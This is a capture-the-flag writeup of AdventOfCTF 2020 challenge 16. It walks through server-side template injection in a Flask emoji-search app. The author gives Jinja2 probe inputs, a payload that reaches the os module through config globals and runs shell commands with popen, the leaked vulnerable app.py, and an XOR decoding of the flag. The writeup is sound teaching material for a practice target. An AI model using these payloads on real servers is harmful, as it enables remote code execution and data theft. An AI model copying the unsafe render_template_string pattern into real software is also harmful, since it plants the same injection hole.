11 KiB
+++ author = "Maik de Kruif" title = "Challenge 16 - AdventOfCTF" date = 2021-01-01T01:44:45+01:00 description = "A writeup for challenge 16 of AdventOfCTF." cover = "img/adventofctf/2020/246397ca184f8b03ac8fecf50ee1051e.png" tags = [ "AdventOfCTF", "challenge", "ctf", "hacking", "writeup", "web", "python", "flask", ] categories = [ "ctf", "writeups", "hacking", ] +++
- Points: 1600
Description
Santa has launched a new product, the Emoji finder! This is the first version, can you find your favorite emoji?
Visit https://16.adventofctf.com to start the challenge.
Recon
Upon opening the challenge website we're greeted with some text and an input field. The text says the following: "Santa likes emojis! Enter one to find out what it means. Try 'santa' for instance.". If we then enter 'santa' in the input field and press the search button, we get a santa emoji: 🎅.
When opening the source of the page we also find the following comment: "Here is a cheatsheet of the emojis you can use: https://www.webfx.com/tools/emoji-cheat-sheet/" and some javascript:
function send() {
let emoji = $("#emoji")[0].value;
if (emoji.length > 0) {
$.post("/", { emoji: emoji }, function (data) {
$("#msg")[0].innerHTML = "<b>" + data + "</b>";
});
}
}
Note: when I was writing this write-up, I noticed that the subtitle hints at the os module as the letters "os" are marked yellow in "dose".
Finding the vulnerability
After trying several things, Server-Side Template Injection (SSTI) came to mind.
SSTI occurs when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side.
An easy way to check for SSTI is by using the following graph from PortSwigger:
{{< figure src="/img/adventofctf/2020/16/ssti_graph.png" title="SSTI Graph (by PortSwigger)" >}}
So I followed this graph and got the following results:
emoji=${7*7} -> You entered an unknown emoji: ${7*7}
emoji={{7*7}} -> You entered an unknown emoji: 49
emoji={{7*'7'}} -> You entered an unknown emoji: 7777777
This means the server is most likely using either Jinja2 of Twig.
Exploit
Now that we found the vulnerability, we can start exploiting it. Let's start by getting the config. We can try to get it by entering {{config}} or {{config.items()}} as the emoji.
{{< code language="python" title="Result" >}}
dict_items([
('ENV', 'production'),
('DEBUG', True),
('TESTING', True),
('PROPAGATE_EXCEPTIONS', None),
('PRESERVE_CONTEXT_ON_EXCEPTION', None),
('SECRET_KEY', Undefined),
('PERMANENT_SESSION_LIFETIME', datetime.timedelta(days=31)),
('USE_X_SENDFILE', False),
('SERVER_NAME', None),
('APPLICATION_ROOT', '/'),
('SESSION_COOKIE_NAME', 'session'),
('SESSION_COOKIE_DOMAIN', False),
('SESSION_COOKIE_PATH', None),
('SESSION_COOKIE_HTTPONLY', True),
('SESSION_COOKIE_SECURE', False),
('SESSION_COOKIE_SAMESITE', None),
('SESSION_REFRESH_EACH_REQUEST', True),
('MAX_CONTENT_LENGTH', None),
('SEND_FILE_MAX_AGE_DEFAULT', datetime.timedelta(seconds=43200)),
('TRAP_BAD_REQUEST_ERRORS', None),
('TRAP_HTTP_EXCEPTIONS', False),
('EXPLAIN_TEMPLATE_LOADING', True),
('PREFERRED_URL_SCHEME', 'http'),
('JSON_AS_ASCII', False),
('JSON_SORT_KEYS', True),
('JSONIFY_PRETTYPRINT_REGULAR', True),
('JSONIFY_MIMETYPE', 'application/json'),
('TEMPLATES_AUTO_RELOAD', None),
('MAX_COOKIE_SIZE', 4093),
('flag', 'HKQ\x1f\x7f~e|\x06{r9<\x03/3z\x12#Rr )G#*\x14,#dp=Z@AP\x0c*'),
('CLD_CONTINUED', 6),
('CLD_DUMPED', 3),
('CLD_EXITED', 1),
('CLD_TRAPPED', 4),
('EX_CANTCREAT', 73),
('EX_CONFIG', 78),
('EX_DATAERR', 65),
('EX_IOERR', 74),
('EX_NOHOST', 68),
('EX_NOINPUT', 66),
('EX_NOPERM', 77),
('EX_NOUSER', 67),
('EX_OK', 0),
('EX_OSERR', 71),
('EX_OSFILE', 72),
('EX_PROTOCOL', 76),
('EX_SOFTWARE', 70),
('EX_TEMPFAIL', 75),
('EX_UNAVAILABLE', 69),
('EX_USAGE', 64),
('F_LOCK', 1),
('F_OK', 0),
('F_TEST', 3),
('F_TLOCK', 2),
('F_ULOCK', 0),
('GRND_NONBLOCK', 1),
('GRND_RANDOM', 2),
('NGROUPS_MAX', 32),
('O_ACCMODE', 2097155),
('O_APPEND', 1024),
('O_ASYNC', 8192),
('O_CLOEXEC', 524288),
('O_CREAT', 64),
('O_DIRECT', 16384),
('O_DIRECTORY', 65536),
('O_DSYNC', 4096),
('O_EXCL', 128),
('O_EXEC', 2097152),
('O_LARGEFILE', 0),
('O_NDELAY', 2048),
('O_NOATIME', 262144),
('O_NOCTTY', 256),
('O_NOFOLLOW', 131072),
('O_NONBLOCK', 2048),
('O_PATH', 2097152),
('O_RDONLY', 0),
('O_RDWR', 2),
('O_RSYNC', 1052672),
('O_SEARCH', 2097152),
('O_SYNC', 1052672),
('O_TMPFILE', 4259840),
('O_TRUNC', 512),
('O_TTY_INIT', 0),
('O_WRONLY', 1),
('POSIX_FADV_DONTNEED', 4),
('POSIX_FADV_NOREUSE', 5),
('POSIX_FADV_NORMAL', 0),
('POSIX_FADV_RANDOM', 1),
('POSIX_FADV_SEQUENTIAL', 2),
('POSIX_FADV_WILLNEED', 3),
('PRIO_PGRP', 1),
('PRIO_PROCESS', 0),
('PRIO_USER', 2),
('P_ALL', 0),
('P_NOWAIT', 1),
('P_NOWAITO', 1),
('P_PGID', 2),
('P_PID', 1),
('P_WAIT', 0),
('RTLD_GLOBAL', 256),
('RTLD_LAZY', 1),
('RTLD_LOCAL', 0),
('RTLD_NODELETE', 4096),
('RTLD_NOLOAD', 4),
('RTLD_NOW', 2),
('R_OK', 4),
('SCHED_BATCH', 3),
('SCHED_FIFO', 1),
('SCHED_IDLE', 5),
('SCHED_OTHER', 0),
('SCHED_RESET_ON_FORK', 1073741824),
('SCHED_RR', 2),
('SEEK_CUR', 1),
('SEEK_END', 2),
('SEEK_SET', 0),
('ST_APPEND', 256),
('ST_MANDLOCK', 64),
('ST_NOATIME', 1024),
('ST_NODEV', 4),
('ST_NODIRATIME', 2048),
('ST_NOEXEC', 8),
('ST_NOSUID', 2),
('ST_RDONLY', 1),
('ST_RELATIME', 4096),
('ST_SYNCHRONOUS', 16),
('ST_WRITE', 128),
('TMP_MAX', 10000),
('WCONTINUED', 8),
('WCOREDUMP', <built-in function WCOREDUMP>),
('WEXITED', 4),
('WEXITSTATUS', <built-in function WEXITSTATUS>),
('WIFCONTINUED', <built-in function WIFCONTINUED>),
('WIFEXITED', <built-in function WIFEXITED>),
('WIFSIGNALED', <built-in function WIFSIGNALED>),
('WIFSTOPPED', <built-in function WIFSTOPPED>),
('WNOHANG', 1),
('WNOWAIT', 16777216),
('WSTOPPED', 2),
('WSTOPSIG', <built-in function WSTOPSIG>),
('WTERMSIG', <built-in function WTERMSIG>),
('WUNTRACED', 2),
('W_OK', 2),
('X_OK', 1)
])
{{< /code >}}
If we take a look at it we find an item called 'flag' but it looks like it is encrypted in some way:
('flag', 'HKQ\x1f\x7f~e|\x06{r9<\x03/3z\x12#Rr )G#*\x14,#dp=Z@AP\x0c*')
Decrypting the flag
Decrypting the flag was easier said then done. I tried several algorithms but none resulted in any usefull output and it doesn't look like the output of any common encryption algorithm.
This is when I started to try to get the source of the server so we can see how it gets and/or creates the flag. To get the source we first need arbitrary code execution.
Arbitrary Code Execution (ACE)
The easiest way to get ACE is using the os module in python. To use it, the server has to have it imported though.
We can find the os module in the globals dictionary, which, in turn, can be found in the __init__ function of the Config class. To get to it we can use the following path:
config.__class__.__init__.__globals__["os"]
If we enter this as the input but within brackets, we get the following output:
<module 'os' from '/usr/local/lib/python3.7/os.py'>
Note: if the os module wouldn't have been there, you could look for another module in {{config.__class__.__init__.__globals__}}
This means our exploit works and we can use it to execute commands. To do this, we can use the popen function like so:
config.__class__.__init__.__globals__['os'].popen('ls').read()
Grabbing the file
If we use the above code as the input, we get the following return message:
You entered an unknown emoji: __pycache__
app.py
requirements.txt
serve.sh
static
supervisord.pid
templates
The source of the server is probably app.py as it's the default for flask applications. Let's cat it:
config.__class__.__init__.__globals__['os'].popen('cat app.py').read()
{{< code language="python" title="app.py" >}}
import random
from flask import Flask, render_template_string, render_template, request
import os
import emojis
app = Flask(__name__)
app.config['SECRET_KEY'] = 'Leer alles over Software Security bij Arjen (follow @credmp) at https://www.novi.nl'
def magic(flag, key):
return ''.join(chr(x ^ ord(flag[x]) ^ ord(key[::-1][x]) ^ ord(key[x])) for x in range(len(flag)))
file = open("/tmp/flag.txt", "r")
flag = file.read()
app.config['flag'] = magic(flag, '112f3a99b283a4e1788dedd8e0e5d35375c33747')
flag = ""
os.remove("/tmp/flag.txt")
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
emoji="unknown"
try:
p = request.values.get('emoji')
if p != None:
emoji = emojis.db.get_emoji_by_alias(p)
except Exception as e:
print(e)
pass
try:
if emoji == None:
return render_template_string("You entered an unknown emoji: %s" % p)
else:
return render_template_string("You entered %s which is %s. It's aliases %s" % (p, emoji.emoji, emoji.aliases))
except Exception as e:
print(e)
return 'Exception'
return render_template('index.html')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
{{< /code >}}
When looking at the file, we see that the flag variable is set to the output of the magic function:
app.config['flag'] = magic(flag, '112f3a99b283a4e1788dedd8e0e5d35375c33747')
def magic(flag, key):
return ''.join(chr(x ^ ord(flag[x]) ^ ord(key[::-1][x]) ^ ord(key[x])) for x in range(len(flag)))
The magic function takes a flag and key as the input and returns an encrypted string for the output. When anaylizing this function, we see it does some bitwise XOR operations and because we have the key we've got two known values and can, thus, calculate the third.
We can do this by just passing our encrypted flag along with to key to the magic function.
Python 3.6.9 (default, Nov 7 2019, 10:44:02)
[GCC 8.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> def magic(flag, key):
... return ''.join(chr(x ^ ord(flag[x]) ^ ord(key[::-1][x]) ^ ord(key[x])) for x in range(len(flag)))
...
>>> magic("HKQ\x1f\x7f~e|\x06{r9<\x03/3z\x12#Rr )G#*\x14,#dp=Z@AP\x0c*", "112f3a99b283a4e1788dedd8e0e5d35375c33747")
'NOVI{you_used_the_m@gic_of_christmas}\n'
>>>
Solution
We got the flag! It is NOVI{you_used_the_m@gic_of_christmas}.
This flag can then be submitted for the challenge.